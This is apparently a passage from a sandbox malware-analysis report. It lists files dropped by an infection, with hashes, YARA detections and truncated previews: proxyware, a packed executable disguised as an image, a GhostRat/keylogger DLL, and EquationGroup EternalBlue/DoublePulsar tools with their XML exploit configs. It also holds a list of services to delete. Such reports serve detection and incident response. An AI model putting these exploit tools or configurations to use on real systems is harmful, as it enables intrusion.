SHA-256:	21493F7F615A099E795F7FAE7ECCE6082414D1D427790BDF4B103623A3AB34EB
SHA-512:	DE5546FF103CCC6AA38E254039A372697A193F9C44D0A44F0BE3B242D9EEF63023DC3FD0C6E8E0D2363177F9230A4E7200D4C32591B398269A1CEE9BC47A99FC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............+... ...@....... ....................................@.................................L+..O....@..$................>...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................+......H.......P ..D....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings.... .......#US.$.......#GUID...4.......#Blob......................3..................................................k.....k...U.@.........i.....=.........................................&.....'...................:.....:.....:...).:...1.:...9.:...A.:...I.:...Q.:...Y.:...a.:...i.:...q.:.......................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	696960
Entropy (8bit):	5.673558036842808
Encrypted:	false
SSDEEP:	6144:GmnPRoMbbJCdHI83Gu4zXROLoMURIsMbbJCdZC0B2i5sMbbJCdJcS:hqMbbJyHIsOzXVIsMbbJyn/sMbbJy9
MD5:	2884FDEAA62F29861CE2645DDE0040F6
SHA1:	01A775A431F6E4DA49F5C5DA2DAB74CC4D770021
SHA-256:	2923EACD0C99A2D385F7C989882B7CCA83BFF133ECF176FDB411F8D17E7EF265
SHA-512:	470CE2CF25D7EE66F4CEB197E218872EA1B865DE7029FADB0D41F3324A213B94C668968F20E228E87A879C1F0C13C9827F3B8881820D02E780D567D791AD159F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b................................. ........@.. ....................................`.....................................W....................p...2........................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc...............n..............@..B........................H.......L...tu......m.......8...........................................z.(......}.....(....o....}.........0...........{......E............8...Z...u..................}..... (`.3}......}.......}..... ....}......}.......}......{.... .da}......}.......}..... ..R.}......}.......}......{.... ..b.a}......}.......}..... Q+.n}......}.......}..... 6..t}......}.......}........{.....s....z.2.{.....\...*....0..<........{......3..{....(....o....3...}......+..s.......{....}..

C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe.config

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19108
Entropy (8bit):	4.992747789246833
Encrypted:	false
SSDEEP:	96:hrg4pmrbyUwfGReGWeGFuGgeKCUDuTeHOTu0U5e3eTOaUmS0SXStuKhubUfSJeZY:hrmiOPUDCTHffIz
MD5:	E3F86E44D1997122912DD19C93B4CC51
SHA1:	55A2ABF767061A27D48FC5EDA94BA8156ADD3E81
SHA-256:	8905F68562E02CA9C686F8BB6EDDE6643C94B2592240C6ED0D40CA380E69E62D
SHA-512:	314F97D7889D22D1086682C2ABFCF0BCB753C2103A29127407392FA05DABB69F1528C7B8028AEAC48E5FD7DAF0FB1E4A367E6D83F7CA73BCEA8E7C6E1D1B54D5
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />.. </startup>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Bcl.AsyncInterfaces" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Thread

C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98616
Entropy (8bit):	5.627990537858435
Encrypted:	false
SSDEEP:	1536:Q2Ec05j4eAH64rh5fSt5T9nFcI94WiVQTjpu:nlK4eA7mDmWqQXpu
MD5:	0ADF6F32F4D14F9B0BE9AA94F7EFB279
SHA1:	68E1AF02CDDD57B5581708984C2B4A35074982A3
SHA-256:	8BE4A2270F8B2BEA40F33F79869FDCCA34E07BB764E63B81DED49D90D2B720DD
SHA-512:	F81AC2895048333AC50E550D2B03E90003865F18058CE4A1DFBA9455A5BDA2485A2D31B0FDC77F6CBDFB1BB2E32D9F8AB81B3201D96D56E060E4A440719502D6
Malicious:	false
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..Z.........." ..0..8...........U... ...`....... ..............................v.....@..................................U..O....`..,............B..8?........................................................... ............... ..H............text....6... ...8.................. ..`.rsrc...,....`.......:..............@..@.reloc...............@..............@..B.................U......H.......P ...4..................,U......................................BSJB............v4.0.30319......l...\|...#~.....d...#Strings....L3......#US.T3......#GUID...d3..x...#Blob......................3................................q.....2B........e$.M...,.M.....M...4.M...1.M...1.M..v..M....M....M....p...........................!.....).....1.....9.....A.....I.................................#.......+.......3.......;.J.....C.f.....K.f...................2.....................

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1648640
Entropy (8bit):	7.9366972422071305
Encrypted:	false
SSDEEP:	49152:TgCwUI2zMCsThgKx7epXo6Ekk6Jy63g9iugMN51fP:Tg9msFgs6u6rk2FgYugMr
MD5:	72762B7AC7C6DFDC7B1C3B3A5171103A
SHA1:	1FF4EB16282C076FBE98C589BA0218A1B39672BE
SHA-256:	ECC5A64D97D4ADB41ED9332E4C0F5DC7DC02A64A77817438D27FC31C69F7C1D3
SHA-512:	A8F281DA8160A62CF5F07273CC5C3C62DC8AA0AA33F75ABD22E9D49B366A63C214274BD1B7140A1C4773584A451A2B54722991880999386D6924932953A6DE14
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........*.d.K.7.K.7.K.7. .6.K.7. .6&K.7.$+7.K.7.?.6.K.7.?.6.K.7.?.6.K.7. .6.K.77?.6.K.7. .6.K.7.K.7.J.7T>.6.I.77?.6HK.77?.6.K.77?)7.K.7.KA7.K.77?.6.K.7Rich.K.7........................PE..d.....Gc.........."...... ........S.P.m...S....@............................. m...........`...................................................m.L.....m.......i............$.m...............................m.(.....m.8...........................................UPX0......S.............................UPX1..... ....S.....................@....rsrc.........m...... ..............@..............................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\Update[1].txt

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	10563
Entropy (8bit):	5.025946593282633
Encrypted:	false
SSDEEP:	192:E46heIOsrga3bXdkdj4XEnsGipCiR/6IDpY:E8Zsrg1dj4XEnsGipCiR/6IDm
MD5:	5534731EE4B527EFEB8B72640287A48D
SHA1:	520216688E716AD34CCCEE8CAE0E55BE863080BE
SHA-256:	42296E203E696744D28BC6A13FCBDC9FE18ABE6AA29C6E3C4C96664308AE4870
SHA-512:	2722B35A514A521702279E7BE08307F27C9BA60CAAFBB743BFC2B4EBB2C79A0B5579DCADCE41A989C5F2CA52991B9CFDE3745E9511881742DE522293417FF668
Malicious:	false
Reputation:	unknown
Preview:	[Delete Service]..WinDefender..WmiPrvSE..msubridge..ChromeUpdater..snmpstorsrv..tpmagentservice..wmassrv..vmichapagentsrv..MaintenancesServices..mssecsvc2.0..mssecsvc2.1..SRDSLPST..SuperProServerST..WindosroServert..ServiceSaims..ServiceSais..WindosiVMDHCPI..WindosiVMDHCPDUO..WindosiVMDHCPHUI..WinVMDHCPI..WinVMDHCP..Xtfya..Xtfyaa..Xtfyaaz..exhbum..pjqlsb..dbuxbr..tjuldl..Services..HomeGroup Support..jgumfoxl update..Windows slide Help log..Interactive Services Detection Report..Ggvhfm Hixovydn Dma..Network Support..Smart Card Report..Medialoader..ctfmon..wmiApSrvs..wmiApServs..ServiceMaims..ServiceMais..xWinWpdSrv..cftmon..MetPipAtcivator..SetPipAtcivator..MicrosoftMysql..SQLWriters..WinTcpAutoProxySez..WinTcpAutoProxySvc..Microsoft SQL Server..Microsoft SQL Service..SQLAGENT MSSQL SQLIOSIMS..WinHelp32..COMSysApp..Defghi..DirectX yta jasdqwerq..MYSQL Input Service Name..clr_optimization_v4.0.30328_64..RpcEpt..trkwkr..WebServers..Ddriver..MicrosoftMssql..Event Log..NetworkTimeHelper..Ev

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	5.371885109275715
Encrypted:	false
SSDEEP:	24:3DWSKco4KmZjKbmOIld6emZ9tYs4RPQoUEJ0gt/NK3R8qiagYW:TWSU4xym/jmZ9tz4RIoUl8NWR8qG
MD5:	8C85C6526C6D32AFFDE4D8D20F90FD8D
SHA1:	B249BA71F96443CA2CC64852DA87C03BDE795660
SHA-256:	93D245FE5DE47B5AD70CBA39F2DDB169C81D37ECEC010B586341D43191FB2882
SHA-512:	33917DC61731C87E1B89B2CE88E3B8BDBE1C58F0B1E2F42D7E6CA16BDAF26B2522FF2822A28F0E102CC52E037997B568D85ED19921110CEF8D1981BA2F16AB14
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll

Download File

Process:	C:\Windows\Temp\Hooks.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24846336
Entropy (8bit):	6.928187976934241
Encrypted:	false
SSDEEP:	393216:MQTzuoRbBfQYT042YKdmbBR0TH/IxcNT3cJkRfxBk:My3t7T042YKYGPTMJwI
MD5:	EB72D63D5E250781FB1B84F185581E1E
SHA1:	262F689AB8A405404A0ED0FC876CFE8E4A0D6EFB
SHA-256:	440BBE8365019A7CEC572F1F91159A6209636D4BF3FE3B85506BAD0FF5097BC4
SHA-512:	E02050A2E93D9C0F67C48C879D368B3A4D7A0A8BFCDC9A8C153DC1BE87D809A5A20E95108721CE8194B80BC6DFD474A23474E503AFC6DDD5C7C1DFF23E62BCB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: MALWARE_Win_Nitol, Description: Detects Nitol backdoor, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: ditekSHen Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w<P..R...R...R...^...R.......R.Y.\...R..0X.L.R.2.X...R...S...R.......R..0Y.I.R...R...R.2.Y...R.2.V...R.Rich..R.................PE..L....:]f...........!..........y...............................................\|......................................'..^.......@............................p{.@'......................................................h............................text...>........................... ..`.rdata..>X.......`..................@..@.data....9x..0....v..0..............@....reloc...;...p{..@....y.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\pid

Download File

Process:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:L5R:FR
MD5:	5D7ADA35204D7DD09CF8990CD0A2DF2E
SHA1:	63D55761E316F0C0B18A68386F7693976E51EF3F
SHA-256:	D454B7E2EEDDC6DF22335757CF3F417EA337C320277F7D435260CA974CFF0AA1
SHA-512:	35AB7682019D357AEF905B8406F9629A3B0045579C0C5B804AE83FB7C0E1187CBC010D11D291BE5301CE747D2EF04565CC15EAC606B934ACC6FF93B1D969C12E
Malicious:	false
Reputation:	unknown
Preview:	17064

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	98
Entropy (8bit):	5.310725661035405
Encrypted:	false
SSDEEP:	3:YxKTHszY9Q3gtwDUfmuJUrhKlROdD+Gwqg5Xy:YQMYAgtzfmGUMsCGFf
MD5:	2E839B7AB87694F72220658502588C41
SHA1:	B3996F638B1E00B4BDF5CADEAB99D05492313F37
SHA-256:	376A0CA610D4DE58DE3887A8700D3E0F64FDC2123846A4F88876751847AEF519
SHA-512:	050FE964FBDFD1A957EF3E8A1C1CE6ADA6D5473BE890EA318A9720A7C8E42E9FB8AFCC723A03ED9DEEB3F2CCBFF0FE725EB0B831A24E9E4DF39B7249DA5688A1
Malicious:	false
Reputation:	unknown
Preview:	{"Token":"1gUgURMzQiuGFgttIdjeZBS0G6fqFlVvhCKlqzfHd3o=","StartWithWindows":false,"Accepting":true}

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Download File

Process:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45
Entropy (8bit):	3.8275452521167623
Encrypted:	false
SSDEEP:	3:YMiTUdGBrFfRdY:YMiYEB5pdY
MD5:	A2ECD3A4EEF64B11A457D64234EB11AE
SHA1:	D446879070CDDC7ACDCEE756FEBCC82C7394C00A
SHA-256:	445CB647BCE02F8B902A5F1F0995E704B3F6981F432B98F6B73D5F845E501498
SHA-512:	D6D46945807DC070883BCC1C96C08D047992D40F7DB907811FB8A281677056263BCA4F780C10C5136EC992767BD1B1F1E4A66D4EF5EEA6C5BB172F22C4B290AD
Malicious:	false
Reputation:	unknown
Preview:	{"id":"03ca18cd-93c4-4ee3-999d-0e3c38830c45"}

C:\Windows\Temp\Doublepulsar-1.3.1.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45568
Entropy (8bit):	6.310406461134233
Encrypted:	false
SSDEEP:	768:Zfsz7cLr4VwePeXUTQq+BNV1WzV64aHo2Ej4rrIrL/SBfjyC:ZyJwFmB+jVTEkrmL/eT
MD5:	C24315B0585B852110977DACAFE6C8C1
SHA1:	BE855CD1BFC1E1446A3390C693F29E2A3007C04E
SHA-256:	15FFBB8D382CD2FF7B0BD4C87A7C0BFFD1541C2FE86865AF445123BC0B770D13
SHA-512:	81032D741767E868EC9D01E827B1C974B7C040FF832907D0A2C4BDC08301189B1DE3338225587EDDF81A829103392F454BA9D9685330B5F6706EA2977A6418E2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Joe Security Rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..l..l..l;#.l..l.!.l..l.!.l..l.!.l..l.!.l..l...l..l..l..l..l..l.!.l..l...l..l...l..lRich..l................PE..L......P.................4...z.......>.......P....@.................................*r....@..................................d.......................................................................c..@............P...............................text....3.......4.................. ..`.rdata..B....P... ...8..............@..@.data...TQ...p...N...X..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\Doublepulsar-1.3.1.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5349
Entropy (8bit):	4.7478640209666985
Encrypted:	false
SSDEEP:	96:yJhKJ6yPl/rGH4rAH+6UlbscJsZPF97yr+HKSB+x+M+rEH:k4JFIXepb9ga
MD5:	09D45AE26830115FD8D9CDC2AA640CA5
SHA1:	41A6AD8D88B6999AC8A3FF00DD9641A37EE20933
SHA-256:	CF33A92A05BA3C807447A5F6B7E45577ED53174699241DA360876D4F4A2EB2DE
SHA-512:	1A97F62F76F6F5A7B668EADB55F08941B1D8DFED4A28C4D7A4F2494FF57E998407EC2D0FEDAF7F670EB541B1FDA40CA5E429D4D2A87007EC45EA5D10ABD93AA5
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="a748cf79831d6c2444050f18217611549fe3f619".. name="Doublepulsar".. version="1.3.1".. configversion="1.3.1.0".. schemaversion="2.0.0">.. <inputparameters>.. .. <parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." type="S16">.. <default>60</default>.. </parameter>.. <parameter name="TargetIp" xdevmap="TARGET_IP_V4_ADDRESS" description="Target IP Address" type="IPv4"/>.. <parameter name="TargetPort" xdevmap="TARGET_PORT" description="Port used by the Double Pulsar back door" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <paramchoice name="Protocol" xdevmap="DOUBLEPULSAR_PROTOCOL_TYPE" description="Protocol for the backdoor to speak">.. <default>SMB</default>.. <paramgroup name="SMB" description="Ring 0 S

C:\Windows\Temp\Eternalblue-2.2.0.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.602409453417197
Encrypted:	false
SSDEEP:	1536:YEI4kX/3TWbMPqc+4GJky+IBgXDfsggZK4WBc+FtDc+AX4VHKpdhxm/wl6uv/+Ws:ITiMPqiruJB+rrAX4edbmruvmkI79
MD5:	8C80DD97C37525927C1E549CB59BCBF3
SHA1:	4E80FA7D98C8E87FACECDEF0FC7DE0D957D809E1
SHA-256:	85B936960FBE5100C170B777E1647CE9F0F01E3AB9742DFC23F37CB0825B30B5
SHA-512:	50E9A3B950BBD56FF9654F9C2758721B181E7891384FB37E4836CF78422399A07E6B0BFAB16350E35EB2A13C4D07B5CE8D4192FD864FB9AAA9602C7978D2D35E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8h..\|...\|...\|...[..q...[..~...[...l...[...;...uq..z...%*..y...\|.......[..}...uq..B...uq..}...Rich\|...................PE..L.....Q.................x..........o^............@..........................0............@.................................D.......................................................................x...@............................................text....v.......x.................. ..`.rdata...@.......B...\|..............@..@.data..../.......(..................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\Eternalblue-2.2.0.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.003335636285692
Encrypted:	false
SSDEEP:	192:N59/klempFDP/OoNO+nGINyXtgr12Il6Vet4f:N5KlZpF6IM
MD5:	497080FED2000E8B49EE2E97E54036B1
SHA1:	4AF3FAE881A80355DD09DF6E736203C30C4FAAC5
SHA-256:	756F44F1D667132B043BFD3DA16B91C9F6681E5D778C5F07BB031D62FF00D380
SHA-512:	4F8BD09F9D8D332C436BEB8164EEC90B0E260B69230F102565298BEFF0DB37265BE1AE5EB70ACF60E77D5589C61C7EE7F01A02D2A30AC72D794A04EFEF6F25DF
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version='1.0' encoding='utf-8'?>.<config xmlns='urn:trch' name='Eternalblue' version='2.2.0' schemaversion='2.1.0' configversion='2.2.0.0' id='0f38f55b6a88feccfb846d3d10ab4687e652e63e'>. <inputparameters>. <parameter hidden='true' type='TcpPort' name='DaveProxyPort' description='DAVE Core/Proxy Hookup connection port'>. <default>0</default>. </parameter>. <parameter type='S16' name='NetworkTimeout' description='Timeout for blocking network calls (in seconds). Use -1 for no timeout.'>. <default>60</default>. </parameter>. <parameter xdevmap='TARGET_IP_V4_ADDRESS' type='IPv4' name='TargetIp' description='Target IP Address'/>. <parameter xdevmap='TARGET_PORT' type='TcpPort' name='TargetPort' description='Port used by the SMB service for exploit connection'>. <default>445</default>. </parameter>. <parameter xdevmap='ETERNALBLUE_VALIDATE_TARGET' type='Boolean' name='VerifyTarget' description='Validate the SMB string from target against the targe

C:\Windows\Temp\Eternalromance-1.4.0.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	6.364306457998671
Encrypted:	false
SSDEEP:	384:JoviO9v8ev1gHVXNuxqmwA6vAbCm2qu09mEwj7Bh+GQKOtGvMuSeU2dl4el4xP:QiO9y0xqm6vAGmXHTnKOMBbl8P
MD5:	4420F8917DC320A78D2EF14136032F69
SHA1:	06CD886586835B2BF0D25FBA4C898B69E362BA6D
SHA-256:	B99C3CC1ACBB085C9A895A8C3510F6DAAF31F0D2D9CCB8477C7FB7119376F57B
SHA-512:	020F0E42CB26B0EC39FBD381E289466509612307E76A0BFD820247D986E9959FE8E68A1CC41DC2A36F8387C61D88A0B0C900D2A406967EBF5C051AD39B026942
Malicious:	true
Yara Hits:	Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance_2, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........j.v9.v9.v9.G.9.v9.G.9.v9.G.9..v9.G.9..v9...9.v9..e9.v9.w9N.v9.G.9.v9...9.v9...9.v9Rich.v9........PE..L...{..O.................p...8.......y............@.................................7.....@........................................................................................................8...@............................................text....n.......p.................. ..`.rdata..h&.......(...t..............@..@.data...(...........................@....rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\Eternalromance-1.4.0.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21400
Entropy (8bit):	4.861517810415294
Encrypted:	false
SSDEEP:	96:i06QxDq/1yDOP0HX0NW07N0jcfU9PLD0Qg0+d0U0PHKbSP0B0btIaTiP0zTM0h8T:i0BYGUuukfew8UEhTZdNtug6aDShseVy
MD5:	90D179A2F46C02BCDF9CF625EA5AA752
SHA1:	3EB0DA5A71456C7C2459FA44611FF53CD1B36A15
SHA-256:	6C55B736646135C0ACBAD702FDE64574A0A55A77BE3F39287774C7E518DE3DA9
SHA-512:	CFBE2E8A9ED33CD2D5C4C9B9F0E0839C6AA9E05698EEB96E3095B025D8E511239AAEDEDF65A91141F99F0422F1E7A27E7756C2A278192869C903840B6B1DADD4
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="df1cc1973caa2c3e1bbe4d2e48ffd23e50e4e428".. name="Eternalromance".. version="1.4.0".. configversion="1.4.0.0".. schemaversion="2.0.0">.. <inputparameters>.. All plugins that perform blocking network calls must have a NetworkTimeout.. parameter or its equivalent -->.. <parameter name="NetworkTimeout".. description="Timeout for blocking network calls (in seconds). Use -1 for no timeout.".. type="S16">.. <default>60</default>.. </parameter>.. .. <parameter name="TargetIp".. description="Target IP Address".. type="IPv4"/>.. .. <parameter name="TargetPort" description="Target TCP port" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <parameter name="MaxExploitAttempts".. description="Number of tries to exploit. Default 3".. type="U32"..

C:\Windows\Temp\Wmicc.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	6.606200905181025
Encrypted:	false
SSDEEP:	24576:LKhqZ62cLb7JDx44k3GwHiqBxZo60jpbqf/Z3Ef:LpcH9D6JPvBxZo6epbqnW
MD5:	E66E02324B37D50D144B06CED32065C0
SHA1:	EDC3CF91E52D1110A823CF7BA56C36F63DAB925F
SHA-256:	1458B4AC901575E8DE7B2452002A39A24E90D211652673D9F34318C7240EDF09
SHA-512:	1913B12B471A8177568873CC3322D874C2D2DFDBBAF264D2E3714EB956BF1D53B832082B7BAF303D7D73BD889AE5E0CF09419606D4D8742DB35027E16820F9DA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\Temp\Wmicc.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!...r...r...r..r...ra..r...r!..r...r...r:..rJ..r...r...rK..ra..r...r...r'..r...r...rJ..r...rRich...r........................PE..L...q.sf............................\.............@.........................................................................8........................................................................................................................text..."........................... ..`.rdata...Q.......`..................@..@.data....Q...@...0...@..............@....rsrc................p..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_01fiedjh.klt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
